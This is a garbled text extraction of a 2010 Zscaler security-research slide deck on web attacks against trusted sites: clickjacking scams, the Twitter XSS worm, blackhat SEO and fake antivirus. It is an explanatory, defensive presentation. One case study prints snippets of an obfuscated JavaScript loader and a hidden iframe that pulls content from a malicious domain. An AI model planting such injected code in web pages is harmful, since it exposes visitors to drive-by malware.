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whois	
  

• Zscaler	
  –	
  SaaS	
  solu:on	
  for	
  web	
  browser	
  security	
  
• VP,	
  Security	
  Research	
  

Company	
  

• Founding	
  Member	
  –	
  Cloud	
  Security	
  Alliance	
  
• SPI	
  Dynamics	
  –	
  acquired	
  by	
  HP	
  
•  iDefense	
  –	
  acquired	
  by	
  VeriSign	
  

Background	
  

• Web	
  security	
  
• Client-­‐side	
  vulnerabili:es	
  

Research	
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Ques:ons	
  for	
  Organiza:ons	
  

•  Should	
  we	
  block	
  Twi+er,	
  Facebook,	
  Orkut,	
  etc.?	
  

Social	
  Networking	
  

• Where	
  should	
  we	
  focus	
  security	
  resources	
  to	
  have	
  the	
  
greatest	
  impact	
  in	
  mi:ga:ng	
  modern	
  web	
  threats?	
  

A+acks	
  

• How	
  can	
  a	
  mobile	
  workforce	
  be	
  protected	
  from	
  a+ack?	
  

Mobility	
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Evolu:on	
  of	
  A+acks	
  

Server	
  A+acks	
  
Browser	
  A+acks	
  

Naked	
  A+acks	
  

Vulnerable	
  services	
  on	
  common	
  
Internet	
  servers	
  (web,	
  mail,	
  FTP,	
  etc.)	
   Vuln.	
  func:onality	
  

(content	
  parsing,	
  URI	
  
handling,	
  etc.)	
  	
  

Abuse	
  of	
  func:onality	
  
and	
  web	
  applica:on	
  
vulnerabili:es	
  

Code	
  
Red	
  
worm	
  

Sadmind	
  
worm	
  

Month	
  
of	
  
Browser	
  
Bugs	
  

JPEG	
  
GDI+	
  
vuln.	
  

SQL	
  
Slammer
worm	
  

Blaster	
  
worm	
  

Orkut	
  
worm	
  

Clickjacking	
  
debuts	
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Web	
  1.0	
  vs.	
  Web	
  2.0	
  

Web	
  1.0	
   Web	
  2.0	
  

Intui:ve,	
  user-­‐
friendly	
  interface	
  

User	
  supplied	
  
content	
  

Dynamically	
  
generated	
  web	
  
applica:ons	
  

Predefined	
  content	
  

Sta:c	
  web	
  pages	
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• Abusing	
  popular	
  web	
  resources	
  with	
  established	
  user	
  bases,	
  streamlines	
  a+acks	
  

Why?	
  

How?	
  

• End	
  users	
  are	
  geang	
  infected	
  simply	
  by	
  leveraging	
  the	
  web	
  resources	
  that	
  they	
  have	
  
grown	
  to	
  trust	
  

• Enterprises	
  are	
  not	
  equipped	
  to	
  combat	
  these	
  threats	
  due	
  to	
  their	
  dynamic,	
  web	
  based	
  
nature	
  	
  

Impact	
  

How Hackers are Targeting Legitimate Resources 

Legi:mate	
  Sites	
  

Leveraging	
  web	
  app	
  vulns	
  to	
  inject	
  
malicious	
  code	
  into	
  popular	
  sites	
  

	
  

Social	
  Networking	
  

Automa:ng	
  malicious	
  pos:ngs	
  and	
  
abusing	
  vulnerabili:es	
  

	
  

SEO	
  A+acks	
  

Poisoning	
  search	
  results	
  to	
  drive	
  
traffic	
  to	
  malicious	
  sites	
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Hacked	
  Websites	
  
Hacked	
  Kaspersky	
  D

ownload	
  Site	
  

Directs	
  Users	
  to	
  Fak
e	
  An0virus	
  

Kaspersky	
  Lab	
  now
	
  admits	
  that	
  people	
  a+e

mp:ng	
  

to	
  buy	
  Kaspersky's
	
  security	
  products	
  

on	
  Oct.	
  17	
  

were	
  redirected	
  by
	
  hackers	
  to	
  a	
  scare

ware	
  site	
  

with	
  links	
  to	
  fake	
  a
n:virus	
  sofware	
  c

alled	
  

security	
  tool.	
  

By:	
  Fahmida	
  Y.	
  Rashid	
  

2010-­‐10-­‐19	
  

NASA	
  web	
  site	
  hacked
	
  and	
  

serving	
  malware/spam	
  

Posted	
  on	
  October	
  21,	
  
2010	
  by	
  dd	
  

Some	
  sites	
  under	
  NASA’s	
  Je
t	
  Propulsion	
  lab	
  

(	
  h+p://jpl.nasa.gov/	
  )	
  
have	
  been	
  hacked	
  and

	
  are	
  

being	
  used	
  on	
  the	
  infam
ous	
  blackhat	
  SEO	
  Spam

	
  

network.	
  Not	
  only	
  that
,	
  but	
  they	
  are	
  also	
  serv

ing	
  

malware	
  to	
  unsuspicious
	
  users.	
  

China	
  suspected	
  in	
  hacking	
  of	
  
Nobel	
  website	
  
By	
  Shaun	
  Waterman	
  -­‐	
  :	
  2:10	
  p.m.,	
  October	
  28,	
  2010	
  
Hackers	
  using	
  hijacked	
  computers	
  in	
  
Taiwan	
  struck	
  the	
  website	
  of	
  the	
  
Nobel	
  Peace	
  Prize	
  on	
  Tuesday,	
  
exploi:ng	
  a	
  previously	
  unknown	
  
vulnerability	
  in	
  the	
  popular	
  Firefox	
  
Web	
  browser	
  to	
  place	
  a	
  secret	
  
backdoor	
  on	
  the	
  computers	
  of	
  
anyone	
  who	
  visited	
  it.	
  
The	
  :ming	
  of	
  the	
  a+ack,	
  just	
  three	
  
weeks	
  afer	
  the	
  prize	
  was	
  awarded	
  to	
  
imprisoned	
  Chinese	
  dissident	
  Liu	
  
Xiaobo…	
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Corporate	
  Thef	
  
Hackers	
  Steal	
  $150,

000	
  from	
  

Mich.	
  Insurance	
  Firm	
  

An	
  insurance	
  firm	
  in	
  Michigan	
  lost	
  nearly
	
  $150,000	
  

this	
  month	
  as	
  a	
  result	
  of
	
  a	
  single	
  computer	
  virus	
  

infec:on…discove
red	
  on	
  Feb.	
  5	
  that	
  

the	
  computer	
  

used	
  by	
  their	
  firm’s	
  controller	
  …had
	
  been	
  invaded	
  

by	
  “ZeuS,”	
  a	
  highly
	
  sophis:cated	
  ban

king	
  Trojan…	
  

Tuesday,	
  February
	
  16th,	
  2010	
  	
  

Cyberthieves	
  s0ll	
  rely	
  o
n	
  

human	
  foot	
  soldiers	
  

Posted	
  11/22/2010	
  1:0
7	
  PM	
  By	
  Alicia	
  A.	
  Caldwell	
  an

d	
  Pete	
  Yost	
  	
  

…Experi-­‐Metal,	
  a	
  suburban	
  Detro
it	
  manufacturing	
  

company,	
  was	
  broke.	
  Its	
  $5
60,000	
  bank	
  balance	
  

had	
  been	
  electronically
	
  sca+ered…	
  

…In	
  August,	
  the	
  Cathol
ic	
  Diocese	
  in	
  Des	
  Moines,	
  

lost	
  about	
  $680,000	
  ov
er	
  two	
  days….	
  

Since	
  then,	
  the	
  FBI's	
  Op
era:on	
  Trident	
  Breach

	
  has	
  

uncovered	
  losses	
  of	
  $1
4	
  million	
  and	
  coun:ng.	
  

Online	
  hackers	
  steal	
  $600K	
  from	
  
city	
  of	
  Brigan0ne's	
  bank	
  account	
  
Published:	
  Friday,	
  October	
  01,	
  2010,	
  10:07	
  AM	
  

BRIGANTINE	
  —	
  Computer	
  hackers	
  
managed	
  to	
  steal	
  $600,000	
  from	
  a	
  
New	
  Jersey	
  shore	
  town's	
  bank	
  
account.	
  
…	
  
Police	
  say	
  someone	
  was	
  able	
  to	
  get	
  a	
  
user	
  name	
  and	
  password.	
  Authori:es	
  
say	
  a	
  virus	
  or	
  a	
  fake	
  Web	
  page	
  set	
  up	
  
to	
  mimic	
  the	
  bank's	
  real	
  one	
  might	
  
have	
  been	
  used	
  to	
  carry	
  out	
  the	
  
thefs.	
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Opera:on	
  Trident	
  Breach	
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Advanced	
  Threat	
  Snapshot	
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This	
  poor	
  girl	
  killed	
  herself…	
  Clickjacking	
  Scam	
  
October	
  1,	
  2010	
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•  Friday	
  October	
  1,	
  2010	
  

When?	
  

•  Clickjacking	
  used	
  within	
  a	
  Facebook	
  profile	
  

What?	
  

•  Third	
  party	
  content	
  permi+ed	
  

Why?	
  

•  Yet	
  another	
  affiliate	
  scam	
  

Impact	
  

Facebook Clickjacking Scam 
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Facebook profile 
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Clickjacking screen 
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Hidden content revealed 
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Hidden content revealed 
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Victims 

•  Thousands	
  of	
  vic:ms	
  tricked	
  into	
  
‘liking’	
  and	
  ‘sharing’	
  scam	
  profiles	
  

Propaga:on	
  

•  Affiliate	
  scams	
  –	
  click	
  per	
  ac:on	
  (CPA)	
  

Revenue	
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Affiliate scam 
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LEGITIMATE	
  SITES	
  
Infec:ng	
  non-­‐malicious	
  sites	
  to	
  generate	
  traffic	
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Hacked Kaspersky Download Site 

Directs Users to Fake Antivirus 

By: Fahmida Y. Rashid 

2010-10-19 

Kaspersk
y	
  Lab	
  no

w	
  admits	
  that	
  p
eople	
  a+

emp:ng	
  to	
  

buy	
  Kasp
ersky's	
  s

ecurity	
  p
roducts	
  o

n	
  Oct.	
  17
	
  were	
  

redirecte
d	
  by	
  hac

kers	
  to	
  a
	
  scarewa

re	
  site	
  w
ith	
  links	
  

to	
  fake	
  a
n:virus	
  s

ofware	
  
called	
  Se

curity	
  To
ol.	
  

Legitimate Sites Targeted 

PIRATE BAY FANS apparently have hacked a website that's on 
the US Motion Picture Association of America (MPAA) 
entertainment cartel's payroll. 

It seems that dedicated Pirate Bay users were on the warpath 
and targeted a website called Copyprotected. The website is a 
copy protection awareness front, designed so that punters can 
report copyright violations for DVD and Blu-ray movies. 

Big Media website gets hacked by 
Pirate Bay fans 
By Spencer Dalziel 
Mon Oct 18 2010, 13:48 

Web	
  users	
  searching	
  for	
  clips	
  of	
  tennis	
  player	
  
Serena	
  Williams'	
  outburst	
  are	
  being	
  warned	
  
that	
  they	
  could	
  be	
  puang	
  themselves	
  at	
  risk	
  of	
  
unwiangly	
  downloadaing	
  malware.	
  

Security	
  firm	
  Symantec	
  said	
  that	
  some	
  search	
  
engines	
  are	
  direc:ng	
  users	
  looking	
  for	
  the	
  term	
  
'Serena	
  Williams	
  Outburst'	
  to	
  a	
  domain	
  called	
  
pixnat.com. 

Hacked Serena Williams website 
offering up malware 
Serena site full of fake antivirus software 
September 15, 2009 
Carrie-Ann Skinner 
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Techniques 

•  Iden:fy	
  web	
  applica:on	
  vulnerabili:es	
  (i.e.	
  SQL	
  injec:on)	
  
which	
  permit	
  content	
  injec:on	
  

Vulnerabili:es	
  

•  Brute	
  force	
  passwords	
  on	
  website	
  administra:on/upload	
  sites	
  

Weak	
  Authen:ca:on	
  

•  Purchase	
  ad	
  space	
  
•  Mash-­‐ups	
  
•  Abuse	
  weak	
  content	
  valida:on	
  procedures	
  

Third	
  Party	
  Content	
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Case Study – American Red Cross 
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Case Study – American Red Cross 
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Case Study – American Red Cross 
Infec:on	
  

Obfuscated	
  JavaScript	
  
<script type="text/javascript">eval
(String.fromCharCode(118,97,114,32,120[snip] 

1	
  

Ini:al	
  Decoding	
  
Fragmented	
  Code	
  
[snip] 
var s="htt"; 
var a="ifr"; 
document.write('<'+a+'ma sr'+'c="'+s 
[snip] 

2	
  

Final	
  Decoding	
  
Injected	
  IFRAME	
  
<iframe src="http://foxionser1.com/" width="1" 
height="3"></iframe> 

3	
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onMouseOver	
  Worm	
  
September	
  21,	
  2010	
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•  Tuesday	
  September	
  21,	
  2010	
  

When?	
  

•  Cross-­‐site	
  scrip:ng	
  vulnerability	
  
•  Script	
  included	
  afer	
  an	
  ‘@’	
  character	
  not	
  properly	
  parsed/escaped	
  

What?	
  

•  Allegedly	
  internally	
  discovered	
  by	
  Twi+er	
  the	
  month	
  prior,	
  but	
  re-­‐introduced	
  
during	
  a	
  code	
  update	
  	
  

Why?	
  

•  Various	
  onMouseOver	
  worms	
  redirec:ng	
  users	
  to	
  affiliate	
  scams	
  and	
  
pornography	
  sites	
  

Impact	
  

Twitter onMouseOver Worm 
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Twitter Worm - Timeline 

XSS	
  vuln.	
  
Discovered	
  
by	
  @zzap	
  

Hole	
  
plugged	
  

Ini:al	
  fix	
  Twi+er	
  
aware	
  of	
  
flaw	
  

First	
  worm	
  
(benign)	
  

Various	
  
affiliate/
porn	
  spam	
  
worms	
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Twitter Worm - Matsta 
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Blackhat	
  Search	
  Engine	
  Op:miza:on	
  (SEO)	
  
Leveraging	
  Search	
  Engines	
  as	
  a	
  Catalyst	
  for	
  A+ack	
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Search Engine Optimization Attacks 

•  Trick	
  end	
  users	
  visi:ng	
  malicious	
  web	
  pages	
  

Goal	
  

Approach	
  

•  A+acks	
  tend	
  to	
  be	
  short	
  lived	
  as	
  they	
  are	
  detected	
  and	
  black	
  listed	
  but	
  highly	
  
effec:ve	
  as	
  they	
  can	
  receive	
  significant	
  traffic	
  in	
  a	
  short	
  period	
  of	
  :me	
  

Outcome	
  

Breaking	
  News	
  

Leverage	
  current	
  events	
  to	
  target	
  
popular	
  search	
  terms	
  

	
  

SEO	
  Sites	
  

Create	
  SEO	
  op:mized	
  sites	
  to	
  
boost	
  search	
  rankings	
  

	
  

A+acks	
  

End	
  users	
  with	
  vulnerable	
  systems	
  
a+acked	
  when	
  viewing	
  pages	
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Google 

•  Analyzes	
  page	
  layout	
  and	
  full	
  page	
  
content	
  in	
  addi:on	
  to	
  the	
  text	
  

HyperText	
  Matching	
  Analysis	
  	
  

•  Considers	
  a	
  number	
  of	
  factors	
  to	
  
determine	
  page	
  importance	
  (links	
  are	
  
a	
  major	
  factor)	
  

•  “Web	
  of	
  trust”	
  -­‐	
  link	
  weigh:ng	
  

PageRank	
  Technology	
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A9ackers	
   SEO	
  Web	
  
Page	
  

<html>	
  

Keyword	
  Stuffing	
  

Link	
  Bombing	
   Doorway	
  
Page	
  

SEO Cycle 

Vulnerable	
  
Machine	
   Search	
  Engine	
  

Patched	
  
Machine	
  

Sta0c	
  Security	
  
Scanner	
  

Safe	
  
Page	
   SEO	
  Page	
  Malicious	
  Page	
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Malicious	
  Search	
  Results	
  

Mul:ple	
  
similar	
  
results	
  

Popular	
  
search	
  
term	
  

Search	
  terms	
  
in	
  page	
  :tle	
  

Search	
  
terms	
  in	
  URL	
  
parameters	
  

Domains	
  unrelated	
  
to	
  search	
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Fake	
  AV	
  A+ack	
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Fake	
  Audio/Video	
  Player	
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Fake	
  Flash	
  Update	
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Attack Prevalence 

The	
  majority	
  of	
  popular	
  Google	
  
searches	
  have	
  at	
  least	
  1	
  spam	
  
SEO	
  link	
  within	
  first	
  10	
  pages	
  

Less	
  than	
  ¼	
  of	
  malicious	
  
binaries	
  associated	
  with	
  
Blackhat	
  SEO	
  a+acks	
  are	
  
blocked	
  by	
  desktop	
  AV	
  

25%	
  

75%	
  

An0-­‐Virus	
  Detec0on	
  

Detected	
  

Not	
  
Detected	
  

42%	
  
58%	
  

Spam	
  SEO	
  

No	
  spam	
  
SEO	
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CLOUD	
  DELIVERED	
  SECURITY	
  
Security	
  as	
  a	
  Service	
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Redundant Appliances 

Mobile User 
Road Warrior 

Bypass appliances & policy 

HQ Users 

Remote  
Office 

Caching 
+ URL AV 

Botnets + 
Malware 

Data 
Leakage 

Web 2.0 
Control 

Bandwidth 
Control 

Caching 
+ URL AV 

Botnets + 
Malware 

Web 2.0 
Control 

Bandwidth 
Control 

Data 
Leakage 

Directory 

Log Servers 

Appliance	
  Based	
  Security	
  



Copyright	
  2010	
  Zscaler,	
  Inc.	
  

Log Servers 

Limited policy & control 

HQ Users 

Remote  
Office 

Caching 
+ URL AV 

Botnets + 
Malware 

Data 
Leakage 

Web 2.0 
Control 

Bandwidth 
Control 

Redundant Appliances 

Caching 
+ URL AV 

Botnets + 
Malware 

Web 2.0 
Control 

Bandwidth 
Control 

Data 
Leakage 

Directory 

Better security, Low TCO 

SaaS Security Vendor 

Cloud	
  Delivered	
  Security	
  

Mobile User 
Road Warrior 
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SaaS	
  Security	
  –	
  Why	
  Now?	
  

• Virtualiza:on	
  permits	
  mul:ple,	
  segregated	
  environments	
  to	
  exist	
  on	
  
a	
  single	
  hardware	
  pla�orm	
  

Technology	
  

• Broadband	
  Internet	
  access	
  is	
  now	
  commonplace	
  
• Makes	
  access	
  to	
  remote	
  resources	
  transparent	
  

Broadband	
  

• An	
  increasingly	
  mobile	
  workforce	
  demands	
  access	
  to	
  resources	
  
regardless	
  of	
  loca:on	
  

Mobility	
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Ques:ons	
  for	
  Enterprises	
  

•  Should	
  we	
  block	
  Twi+er,	
  Facebook,	
  ,	
  Orkut,	
  etc.?	
  

Social	
  Networking	
  

• Where	
  should	
  we	
  focus	
  security	
  resources	
  to	
  have	
  the	
  
greatest	
  impact	
  in	
  mi:ga:ng	
  modern	
  web	
  threats?	
  

A+acks	
  

• How	
  can	
  a	
  mobile	
  workforce	
  be	
  protected	
  from	
  a+ack?	
  

Mobility	
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New World Order 

	
  	
  

Today’s	
  aJacks	
  do	
  not	
  discriminate	
  
based	
  on	
  device,	
  plaLorm	
  or	
  geography.	
  	
  

AJacks	
  leverage	
  lax	
  security	
  on	
  trusted,	
  
legiNmate	
  websites.	
  

Enterprises	
  can	
  no	
  longer	
  deny	
  access	
  to	
  
sites	
  non-­‐business	
  sites.	
  

Without	
  security	
  controls	
  capable	
  of	
  
managing	
  and	
  monitoring	
  traffic,	
  a	
  
security	
  incident	
  is	
  no	
  longer	
  a	
  
possibility,	
  it	
  is	
  an	
  inevitability.	
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